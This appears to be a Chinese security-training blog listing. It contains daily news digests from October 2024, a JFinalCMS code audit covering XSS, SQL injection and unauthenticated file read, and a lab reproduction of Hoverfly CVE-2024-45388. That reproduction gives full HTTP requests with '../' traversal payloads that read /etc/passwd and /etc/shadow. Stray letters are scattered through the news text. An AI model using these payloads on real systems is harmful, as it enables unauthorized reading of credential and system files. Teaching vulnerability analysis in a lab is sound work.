https://hackread.com/teraleak-pokemon-developer-game-freak-hacked-data-leak/ 著名游戏开发商Game Freak遭遇了大规模黑客攻击,泄漏事件被称为“Teraleak”,暴露了近1TB的敏感数据。泄露内容包括宝可梦系列的源代码、未发布的游戏、取消的项目以及未来的开发计划,甚至影响了2600多名员工的个人信息。此次泄露的文件已在社交媒体和论坛上传播,引发了广泛讨论。泄露内容涵盖从早期宝可梦游戏到未来的“宝可梦传奇:Z-A和第十代游戏“Gaia”等机密项目。尽管Game Freak已确认部分数据s泄露,但尚无法确定所有内
4、国产操作系统应急响应手册正式发布
https://www.secrss.com/articles/71084 手册旨在有效整合资源,规范指导用户单位开展安全风险排查以及日常安全运维,有效应对网络安全事件的预警和处置,确保及时有效地控制、减轻和消除网络安全事件造成的社会危害和损失。
5、Underground勒索团伙声称对卡西欧发起网络攻击
https://www.4hou.com/posts/mkEp 目前,Underground 勒索软件组织已将卡西欧添加到其暗网勒索门户网站上,泄露了据称从这家日本公司窃取的大量数据。
6、黑客滥用F5 BIG-IP cookie来映射内部服务器
https://www.bleepingcomputer.com/news/security/cisa-hackers-abuse-f5-big-ip-cookies-to-map-internal-servers/ CISA警告称,已观察到威胁行为者滥用未加密的持久性F5 BIG-IP cookie来识别和攻击目标网络上的其他内部设备。
7、Gryphon Healthcare和Tri-City医疗中心披露重大数据泄露事件
https://www.securityweek.com/gryphon-healthcare-tri-city-medical-center-disclose-significant-data-breaches/ Gryphon Healthcare 和 Tri-City Medical Center 披露了总共影响超过 500,000 人的数据泄露事件。
8、Tor 浏览器修复了 Firefox 零日漏洞
https://www.securityweek.com/recent-firefox-zero-day-exploited-against-tor-browser-users/ Tor 浏览器版本 13.5.7 正在推出,并针对 Firefox 最近解决的一个被利用的零日漏洞提供了补丁。
9、HashiCorp 披露其 Vault 秘密管理平台存在漏洞
https://www.anquanke.com/post/id/300825 HashiCorp 发布了一份安全公告,披露了其 Vault 秘密管理平台中的一个漏洞,该漏洞可能允许攻击者将权限升级到高度敏感的根策略。
10、微软计划在未来的Windows服务器版中弃用PPTP和L2TP
https://www.anquanke.com/post/id/300842 微软在即将推出的 Windows Server 版本中淘汰了老旧的点对点隧道协议 (PPTP) 和二层隧道协议 (L2TP),从而在增强 VPN 安全性方面迈出了重要一步。虽然这些协议长期以来一直是 Windows VPN 的组成部分,但微软鼓励用户过渡到更现代、更安全的替代协议: 安全套接字隧道协议 (SSTP) 和 Internet 密钥交换版本 2 (IKEv2)。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
JFinalcms代码审计
JFinalCms是开源免费的JAVA企业网站开发建设管理系统,极速开发,动态添加字段,自定义标签,动态创建数据库表并crud数据,数据库备份、还原,动态添加站点(多站点功能),一键生成模板代码。
环境布置:IDEA打开项目,等待maven加载好。
使用phpstudy集成的mysql5.7数据库即可,导入JFinalCMS.sql数据库。
修改pom文件:
使用local9.0.90TOMCAT,JDK环境1.8。
运行TOMCAT,打开后台:
http://localhost:8081/cms_war_exploded/反射xss:
搜索/admin/login定位到代码块:
由上可见,通过getPara获取账号密码后再通过render渲染到前端页面:
再分析前端代码构造xss进行闭合:
存储xss:
前台存在留言功能,留言会被管理员审核:
登录后台,点击扩展管理,留言信息:
原理同上。
Sql注入漏洞(1):
该CMS存在很多处sql注入漏洞,大多数都是以+直接拼接sql注入语句造成,可以全局搜索+号寻找注入点。
找到以上代码块,可以直接看到title参数通过+直接拼接进入sql语句执行,于是我们继续找前端是调用的什么接口,并看看是否在接受参数时进行了过滤。
搜索findPage参数:
可以看到Contentcontroller层中存在title参数,点进去,定位到具体代码块:
可以看到调用了getPara方法获取传入的title参数,继续跟进getPara方法:
并未重写该方法,只是简单获取参数,未进行任何过滤,回到原来的controller层,向上翻,找到接口调用,数据包如下:
POST /cms_war/admin/content/data HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0)
Gecko/20100101 Firefox/130.0
Accept: text/html, \*/\*; q=0.01
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 47
Origin: http://localhost:8081
Connection: keep-alive
Referer: http://localhost:8081/cms_war/admin/content
Cookie: JSESSIONID=EF8BB53892173B8A4577EFC32D0215BA;
listQuery=categoryId%3D&title%3D&sorts%3D&pageNumber%3D1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
categoryId=&title=%E7%BD%91&sorts=&pageNumber=1
将localhost替换为物理机IP放入sqlmap:
证明存在sql注入漏洞,其对应前端功能如下:
Sql注入漏洞(2):
前台搜索框处也存在sql注入漏洞,只不过此处的调用过程较难找到。
如上图搜索关键字search定位到代码块:
仔细分析如上代码,我无法追踪keyword的具体调用。
以上代码是通过setAttr方法直接存储到当前请求的属性当中。我对keyword处打断点调试也未理清楚它后续是如何调用的。
于是再换一种思路,直接全局搜索keyword:
定位到具体代码,但无法确定是否是调用的此处findPage代码来构造sql。
搜索findPage也没有明确思路。
于是改变思路,由于keyword关键字最终是通过模板template渲染调用。
于是在template处挨个点进去找类似功能代码:
最终定位到代码块:
根据注释明确此处代码是根据不同关键词进行搜索,包含关键词keyword,继续查看keyword调用链:
确定是通过调用findPage,传入keyword参数来调用数据:
用sqlmap验证keyword参数:
任意文件读取:
翻找controller层代码,找到文件下载代码块:
可见未对传入的fileKey参数进行过滤,直接拼接进行文件读取。
(且我在翻找filter过滤器后,发现似乎 并未对该路径进行权限校验,可进行未授权调用接口)
网络安全日报 2024年10月14日
1、美英警告俄APT29大规模攻击Zimbra和TeamCity服务器
https://www.ic3.gov/Media/News/2024/241010.pdf 美国和英国的网络安全机构今日发出联合警告,称与俄罗斯对外情报局(SVR)相关的APT29黑客正在大规模利用未打补丁的Zimbra和JetBrains TeamCity服务器进行攻击。APT29(又称Cozy Bear)通过漏洞CVE-2022-27924和CVE-2023-42793攻击这些服务器,窃取电子邮件账户凭证并进行供应链攻击j。APT29长期以来针对美国和欧洲的政府和私营部门。此前,该组织被指参与SolarWinds供应链攻击以及黑客入侵北约国家和微软365账户。
2、全球超14000医疗设备暴露安全漏洞威胁巨大
https://censys.com/state-of-internet-of-healthcare-things/ 研究人员报告显示,全球有超过14000个医疗设备、登录门户和健康数据暴露在互联网上,面临严重的安全漏洞。其中近一半(49%)来自美国。研究指出,美国医疗系统的去中心化是设备在线数量庞大的原因之一,而英国的集中化系统仅有200台设备在线。特别是老旧的DICOM协议,用于传输和查看医疗影y像,被广泛应用但缺乏安全设计。此外,电子病历系统(EMR/EHR)登录页面也高度暴露,成为网络攻击的主要目标,存储的大量敏感信息可能被用于黑市交易。
3、Linear eMerge E3门禁系统存在高危未修复漏洞
https://vulncheck.com/blog/flax-typhoon-linear-merge 网络安全专家警告称,Nice Linear eMerge E3门禁控制系统存在一个关键未修复漏洞(CVE-2024-9441),允许远程攻j击者执行任意操作系统命令。该漏洞CVSS评分为9.8,影响多个版本的eMerge E3系统,目前厂商尚未发布补丁或解决方案。此前,类似漏洞CVE-2019-7256曾被黑客利用,组建Raptor Train僵尸网络。研究人员建议使用该设备的组织立即将其下线或隔离网络,避免潜在威胁。同时,厂商建议用户采取网络分段、限制外网访问等安全措施以减轻风险。
4、富达投资数据泄露影响超7.7万人
https://www.bleepingcomputer.com/news/security/fidelity-investments-says-data-breach-affects-over-77-000-people/ 富达投资公司近日披露,8月间公司系统遭遇数据x泄露,超77000名客户的个人信息被曝光。作为全球最大资产管理公司之一,富达投资管理着5.5万亿美元的资产。攻击者通过两名新建账户在8月17日至19日间窃取数据,公司于19日发现并立即终止了不正常访问。尽管账户未受影响,暴露的信息包括客户姓名及其他个人身份信息。富达为受影响客户提供两年免费的信用监控和身份修复服务,并建议客户
5、因泄露数亿人数据,美国国家公共数据公司申请破产
https://www.freebuf.com/news/412671.html 由于早前的黑客攻击并泄露了数y亿人的数据,美国最大的背景调查公司之一——美国国家公共数据公司(National Public Data,NPD)近日出于多方诉讼压力申请破产。
6、全球最大的音乐公司环球音乐集团承认发生数据泄露
https://www.ithome.com/0/800/939.htm 全球最大的音乐公司环球音乐集团(UMG)披露了一起 2024 年 7 月中旬发生的数据泄露事件,证实部分敏感客户信息被盗。
7、ShadowLogic 攻击针对AI模型图来创建无代码后门
https://www.securityweek.com/shadowlogic-attack-targets-ai-model-graphs-to-create-codeless-backdoors/ 人工智能安全公司 HiddenLayer 报告称,通过操纵人工智能模型的图表,可以在机器学习模型中植入无代码、持久的后门。该技术被称为ShadowLogic,依赖于操纵模型架构的计算图形表示来触发下游应用程序中攻j击者定义的行为,从而为 AI 供应链攻击打开大门。
8、严重缺陷导致施耐德电气工业 PC 遭受攻击
https://securityonline.info/cve-2024-8884-cvss-9-8-critical-flaw-exposes-schneider-electric-industrial-pcs-to-attack/ 该漏洞的编号为 CVE-2024-8884,它允许未经授权的参与者通过不安全的 HTTP 连接访问敏感信息,带来 DoS 攻击、数据泄露和操作s失败的风险。
9、Fog & Akira 勒索软件利用关键Veeam RCE漏洞
https://securityonline.info/fog-akira-ransomware-exploit-critical-veeam-rce-flaw-cve-2024-40711-after-poc-release/ 在过去的一个月中,攻击者利用此漏洞以及被盗用的凭证创建未经授权的帐户并尝试部署勒索软件变种,包括 Fog 和 Akira。强烈建议依赖 Veeam Backup & Replication 的企业立即修补其系统并加强远程访问防御。
10、Btcd漏洞可能导致比特币网络分叉
https://www.anquanke.com/post/id/300807 比特币协议的流行替代实施方案 btcd 中的一个关键漏洞可能会让恶意行为者以最小的代价创建比特币区块链的硬y分叉。该漏洞被追踪为 CVE-2024-38365,CVSS 得分为 7.4,源于 btcd 验证传统比特币交易签名的方式中的一个错误。该缺陷于 2014 年引入,偏离了原始比特币代码库中定义的共识规则,可能导致创建的有效交易被易受攻击的 btcd 节点拒绝。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
Hoverfly 任意文件读取漏洞(CVE-2024-45388)
漏洞简介
Hoverfly 是一个为开发人员和测试人员提供的轻量级服务虚拟化/API模拟/API模拟工具。其 /api/v2/simulation 的 POST 处理程序允许用户从用户指定的文件内容中创建新的模拟视图。然而,这一功能可能被攻击者利用来读取 Hoverfly 服务器上的任意文件。尽管代码禁止指定绝对路径,但攻击者可以通过使用 ../ 段来逃离 hf.Cfg.ResponsesBodyFilesPath 基本路径,从而访问任何任意文件。
环境搭建
我们还是利用 docker 来搭建环境
https://hub.docker.com/r/spectolabs/hoverfly/tagsdocker pull spectolabs/hoverfly:v1.10.2
docker run -d -p 8888:8888 -p 8500:8500 spectolabs/hoverfly:v1.10.2
漏洞复现
构造数据包
POST /api/v2/simulation HTTP/1.1
Host: 127.0.0.1:8888
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded
{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/passwd"}} ]},"meta":{"schemaVersion":"v5.2"}}
PUT /api/v2/simulation HTTP/1.1
Host: 127.0.0.1:8888
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded
{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/shadow"}} ]},"meta":{"schemaVersion":"v5.2"}}
漏洞分析
hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#RegisterRoutes
定义了 SimulationHandler 的路由注册方法,路由的每个 HTTP 方法(如 GET 、PUT 、POST 、DELETE 等)都有一个对应的处理函数 (this.Get 、this.Put 、this.Post 、this.Delete 、this.Options 、this.GetSchema )。这些函数处理实际的业务逻辑。
GET /api/v2/simulation: 处理获取模拟数据。
PUT /api/v2/simulation: 处理更新模拟数据。
POST /api/v2/simulation: 处理创建新的模拟数据。
DELETE /api/v2/simulation: 处理删除模拟数据。
OPTIONS /api/v2/simulation: 提供有关 /api/v2/simulation 端点允许的 HTTP 方法的信息。
GET /api/v2/simulation/schema: 获取模拟数据的 schema(结构)。
OPTIONS /api/v2/simulation/schema: 提供有关 /api/v2/simulation/schema 端点允许的 HTTP 方法的信息。
POST 和 PUT 方法 仅仅是函数的第三个参数有所不同,所以两种请求方式都可以实现任意文件读取
hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#addSimulation
第三个参数的不同导致 PUT 方法在获取新的模型内容时,首先删除前一个模拟内容,可以重复读取不同文件内容。POST 仅仅只能读取一次文件内容,无法更新。
hoverfly-1.10.2\core\hoverfly_service.go#PutSimulation
hoverfly-1.10.2\core\hoverfly_service.go#putOrReplaceSimulation
hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFiles
hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFile
这里就是漏洞产生的关键原因,对传入的参数 filePath 没有做具体的校验,可以通过 ../ 实现跨越目录的读取文件
我们看到最新版已经对传入的参数进行了处理
hoverfly-1.10.4\core\hoverfly_funcs.go#readResponseBodyFile
hoverfly-1.10.4\core\util\util.go#ResolveAndValidatePath
这个 ResolveAndValidatePath 函数用于从一个绝对路径(absBasePath )解析一个相对路径(relativePath ),并验证这个相对路径是否合法。具体来说,它确保了相对路径不会尝试向上回溯(使用 ".." ),并且解析后的路径仍然在基路径之下。
网络安全日报 2024年10月12日
1、犯罪分子通过改进QR码网络钓鱼攻击绕过安全检测
https://blog.barracuda.com/2024/10/09/novel-phishing-techniques-ascii-based-qr-codes-blob-uri 研究人员警告称,网络犯罪分子正在通过使用ASCII和Unicode字符生成难以检测的QR码,提升其网络钓鱼攻击的隐蔽性。攻击者利用“全块”字符组合Cascading Style Sheets(CSS),构建出标准的49x49像素矩阵,绕过光学字符识别(OCR)工具的检测。这些伪造的QR码往往引导用户访问恶意网站,钓鱼邮件数量在2023年第四季度急剧上升,约每20个邮箱中有一个成为目标。此外,犯罪分子还采用B
2、研究人员警告PANOS防火墙劫持漏洞及公开利用代码
https://www.bleepingcomputer.com/news/security/palo-alto-networks-warns-of-firewall-hijack-bugs-with-public-exploit/ 研究人员于2024年10月警告用户,需立即修补其Expedition解决方案中的多个安全漏洞,这些漏洞可被攻击者利用,劫持PAN-OS防火墙。Expedition用于帮助迁移其他供应商的配置文件,这些漏洞可暴露敏感信息,如用户凭证,帮助攻击者接管防火墙管理员账户。漏洞包括命令注入、跨站脚本攻击、明文y存储敏感信息、缺失认证和SQL注入等(CVE-2024-946
3、朝鲜黑客利用虚假面试向开发者传播跨平台恶意软件
https://www.unodc.org/roseap/en/2024/10/cyberfraud-industry-expands-southeast-asia/story.html 2024年10月,朝鲜关联的网络攻击组织被发现通过伪装成招聘者,针对技术行业求职者,传播更新版的跨平台恶意软件。研究人员将该活动集群命名为CL-STA-0240,首次于2023年11月披露,代号为“传染性面试”。攻击者y通过求职平台联系软件开发人员,邀请他们参加虚假面试,诱导下载恶意软件。恶意软件的第一阶段涉及BeaverTail下载器和信息窃取程序,能感染Windows和macOS系统,并为Invisib
4、GitLab 修补管道执行、SSRF、XSS 漏洞
https://www.securityweek.com/gitlab-patches-pipeline-execution-ssrf-xss-vulnerabilities/ 最新的 GitLab 更新解决了八个漏洞,包括严重和高严重程度的管道执行漏洞。
5、近期 Veeam 漏洞被利用于勒索软件攻击
https://www.securityweek.com/recent-veeam-vulnerability-exploited-in-ransomware-attacks/ Sophos 警告勒索软件运营商正在利用 Veeam Backup & Replication 中的关键代码执行漏洞。
6、研究人员在Windows版的SVN中发现代码执行漏洞
https://www.freebuf.com/news/412549.html Apache Subversion(SVN)是一款广受开发者欢迎的版本控制系统,用于维护源代码、网页和文档。最近,Apache Subversion中发现了一个关键的安全漏洞,CVE-2024-45720(CVSS评分8.2)。该y漏洞主要影响Windows平台,可能导致命令行参数注入,从而执行非预j期的程序。
7、黑客利用YouTube 平台传播复杂的恶意软件
https://www.freebuf.com/news/412529.html 最近,卡巴斯基实验室的网络安全分析师发现,黑客一直在频繁利用 YouTube平台c来传播复杂的恶意软件。通过劫持热门频道,黑客伪装成原始创作者发布恶意链接、对用户实施诈骗。
8、因SSL证书过期,英格兰银行关键支付系统崩溃
https://www.secrss.com/articles/71008 近日,《The Stack》报道称,2024年7月,英格兰银行支付系统——CHAPS系统因“银行基础设施中的SSL/TLS证书过期”而发生故障。
9、《网络安全技术 办公设备安全规范》等9项网安国标获批发布
https://www.secrss.com/articles/71006 根据2024年9月29日国家市场监督管理总局、国家标准化管理委员会发布的中华人民共和国国家标准公告(2024年第22号),全国网络安全标准化技术委员会归口的9项国家标准正式发布。
10、因配置不当,约5000个AI模型与训练数据集在公网暴露
https://www.secrss.com/articles/71009 暴露的工具包括MLflow、Kubeflow和TensorBoard实例。这些工具通常用于帮助y企业在云端训练和部署生成式AI模型,或可视化其结果。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年10月11日
1、联合国警告东南亚网络犯罪集团崛起威胁全球安全
https://www.unodc.org/roseap/en/2024/10/cyberfraud-industry-expands-southeast-asia/story.html 联合国毒品和犯罪问题办公室发布报告,警告亚洲网络犯罪集团正在成为全球性威胁。这些犯罪组织通过与人口贩卖、洗钱和加密货币服务合作,建立了一个高度复杂的网络犯罪生态系统,难以被区域政府监管。报告指出,这些犯罪团伙利用新技术,扩大了欺诈、洗钱和地下银行业务,预计2023年,亚洲网络犯罪导致的损失高达180亿至370亿美元。这些团伙的活动范围遍布东南亚的偏远地区,利用高度防御的设施和加密技术掩盖非法活动。同时,生成
2、AI虚拟伴侣平台遭黑客攻击致数据泄露
https://www.404media.co/hacked-ai-girlfriend-data-shows-prompts-describing-child-sexual-abuse-2/ 据研究人员报道,Muah.ai平台遭黑客攻击,导致用户与虚拟伴侣聊天机器人的互动数据泄露。该平台允许用户进行成人对话、交换照片和语音聊天,承诺提供加密通信和绝对隐私。然而,被盗数据揭示了用户的隐私幻想,其中一些与用户的个人电子邮件地址相关联,暴露了他们的真实身份。更令人不安的是,泄露内容包括涉及未成年人的不当对话。黑客表示,该平台安全漏洞易于发现,平台管理员则指责此攻击来自竞争对手。该事件凸显了新兴A
3、Mozilla修复Firefox零日漏洞防止攻击j者利用
https://www.mozilla.org/en-US/security/advisories/mfsa2024-51/ Mozilla紧急发布安全更新,修复了Firefox浏览器中的一个关键漏洞CVE-2024-9680,该漏洞已被恶意利用。此漏洞由ESET研究员Damien Schaeffer发现,涉及动画时间线中的“use-after-free”内存管理问题,允许攻击者执行恶意代码。受影响版本包括最新的Firefox标准版和扩展支持版本(ESR)。Mozilla已发布修复补丁,用户应立即更新至Firefox 131.0.2或相应ESR版本。由于该漏洞已在野外被利用,用户被强烈建议尽
4、微软Word Bug有时会在用户单击“保存”时删除文件
https://cybernews.com/news/microsoft-word-bug-sometimes-deletes-file-when-saving/ 在某些情况下,当用户尝试保存文件时,当前版本的 Microsoft Word 会删除文件。该错误会影响包含大写文件扩展名的文档,例如 '.DOCX“而不是”.docx.“或符号 #。
5、欧洲多个政府隔离机密系统遭APT组织攻破
https://www.secrss.com/articles/70996 APT组织GoldenJackal利用U盘等介质实施摆渡攻击,至少两次成功穿透了政府机密系统实施窃密活动,受害者包括某南亚国家驻白俄罗斯大使馆、某欧洲政府机构。
6、韩国"AI换脸"色情制品入刑,制作、保存、传播全方位定罪
https://www.secrss.com/articles/70978 近日,韩国国会通过了一项性犯罪的修正法案——任何制作、持有、保存深度伪造色情视频的行为,都可被定为刑事犯罪,并面临最高七年监禁或者5000万韩元的罚款(约26万元人民币),目前在等待总统最终签署。
7、 Internet Archive遭遇攻击,导致3100 万用户数据泄露
https://www.freebuf.com/news/412412.html 近日, 有黑客入侵了Internet Archive 网站并窃取了一个包含3100万条记录的用户认证数据库。
8、MMS协议被曝存在多个安全漏洞,可导致工控设备崩溃
https://www.freebuf.com/articles/412425.html Claroty研究人员发现制造信息规范(MMS)协议中存在多个安全漏洞,一旦j被黑客利用,将很有可能会对工业环境中造成严重影响。Claroty研究人员Mashav Sapir和Vera Mens表示,这些漏洞可能允许攻击者使工业设备崩溃,在某些情况下,还能实现远程代码执行。
9、GitLab 用户被敦促立即j更新以修复严重缺陷
https://securityonline.info/cve-2024-9164-cvss-9-6-gitlab-users-urged-to-update-now/ GitLab 发布了社区版和企业版 17.4.2、17.3.5 和 17.2.9 版本的关键安全更新,修复了漏洞,包括一个严重漏洞 (CVE-2024-9164),y该漏洞允许攻击者在任意分支上运行管道。
10、万豪与 FTC 达成和解,为数据泄露支付 5200 万美元
https://www.bleepingcomputer.com/news/legal/marriott-settles-with-ftc-to-pay-52-million-over-data-breaches/ 万豪国际集团及其子公司喜达屋酒店将支付 5200 万美元并建立一个全面的信息安全计划,作为影响超过 3.44 亿客户的数据泄露事件和解协议的一部分。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

